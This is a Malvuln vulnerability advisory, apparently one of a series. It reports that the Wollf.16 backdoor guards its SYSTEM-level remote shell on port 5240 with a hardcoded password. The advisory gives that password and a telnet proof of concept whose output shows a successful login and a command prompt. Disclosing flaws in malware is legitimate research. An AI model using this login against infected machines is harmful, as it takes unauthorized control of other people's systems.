Discovery / credits: Malvuln – malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5f79b779acd4c9c75211835a2783bccb.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Weak Hardcoded Password
Description: Wollf.16 creates and runs a service named contime.exe with SYSTEM integrity and listens on port 5240. The malware uses a weak hardcoded password “12345678” which can easily be viewed in the binary using strings utility.
Type: PE32
MD5: 5f79b779acd4c9c75211835a2783bccb
Vuln ID: MVID-2021-0051
Service created: contime.exe
Disclosure: 01/23/2021

Exploit/PoC:
TELNET MALWARE_INECTED_HOST 5240

Login: 12345678
Login succeed!
“Wollf Remote Manager” v1.6
Code by wollf, http://www.xfocus.org
[DESKTOP-XXXXX@C:WINDOWSsystem32]


Disclaimer: The information contained within this advisory is supplied “as-is” with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).





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